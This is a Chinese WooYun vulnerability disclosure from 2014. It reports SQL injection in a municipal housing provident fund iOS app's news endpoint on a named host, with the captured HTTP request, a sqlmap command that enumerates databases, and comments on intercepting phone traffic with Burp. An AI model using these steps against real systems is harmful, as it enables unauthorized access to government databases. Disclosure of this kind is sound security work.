当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-084104

漏洞标题：某直辖市住房公积金IOS客户端SQL注入漏洞（可影响数据库）

相关厂商：某直辖市住房公积金

漏洞作者： 番茄炒蛋

提交时间：2014-11-21 16:36

修复时间：2015-01-05 16:40

公开时间：2015-01-05 16:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-21： 细节已通知厂商并且等待厂商处理中
2014-11-26： 厂商已经确认，细节仅向厂商公开
2014-12-06： 细节向核心白帽子及相关领域专家公开
2014-12-16： 细节向普通白帽子公开
2014-12-26： 细节向实习白帽子公开
2015-01-05： 细节向公众公开

简要描述：

未做过滤

详细说明：

下载上海市住房公积金客户端 安装后

IMG_1568.PNG


点击任意篇文章 抓包

2B1A3D62-AF64-4FA6-95CB-013A7D2C7C49.png


发现id参数未做过滤 存在sql注入漏洞

漏洞证明：

GET /gjjManager/newsByIdServlet?id=329 HTTP/1.1
Host: person.shgjj.com
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: JSESSIONID=68FF99CAB972F01375F9FBF3E68F805A
Connection: keep-alive
Accept-Language: zh-cn
User-Agent: GJJTWO/2.4 CFNetwork/711.1.12 Darwin/14.0.0


sqlmap -r 1.txt --dbs

12.png


修复方案：

过滤参数。。。

版权声明：转载请注明来源 番茄炒蛋@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-11-26 10:26

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-12-08 13:07 | 吹得神 ( 实习白帽子 | Rank:89 漏洞数:8 | 菜鸟也疯狂！)

    求QQ交流

  2. 2015-01-06 12:55 | illl ( 路人 | Rank:16 漏洞数:9 | 轻吟一句情话，执笔一副情画。绽放一地情...)

    手机咋抓包？？？？？？？？？？？？

  3. 2015-01-06 13:36 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    还没修复

  4. 2015-01-06 14:24 | 番茄炒蛋 ( 普通白帽子 | Rank:106 漏洞数:31 | test)

    @illl 本机共享个Wi-Fi就ok了

  5. 2015-01-06 14:25 | 番茄炒蛋 ( 普通白帽子 | Rank:106 漏洞数:31 | test)

    @pandas 。。

  6. 2015-01-06 22:57 | illl ( 路人 | Rank:16 漏洞数:9 | 轻吟一句情话，执笔一副情画。绽放一地情...)

    @番茄炒蛋 然后呢？

  7. 2015-01-07 09:11 | 番茄炒蛋 ( 普通白帽子 | Rank:106 漏洞数:31 | test)

    @illl 然后就手机连接共享的 Wi-Fi 然后burp选择手机的IP。。。

  8. 2015-01-07 12:23 | illl ( 路人 | Rank:16 漏洞数:9 | 轻吟一句情话，执笔一副情画。绽放一地情...)

    @番茄炒蛋 Think you

  9. 2015-03-10 11:37 | Code_Monkey ( 路人 | Rank:24 漏洞数:7 | Code Monkey think someday he have everyt...)

    @illl 显然, 手机连接代理服务器.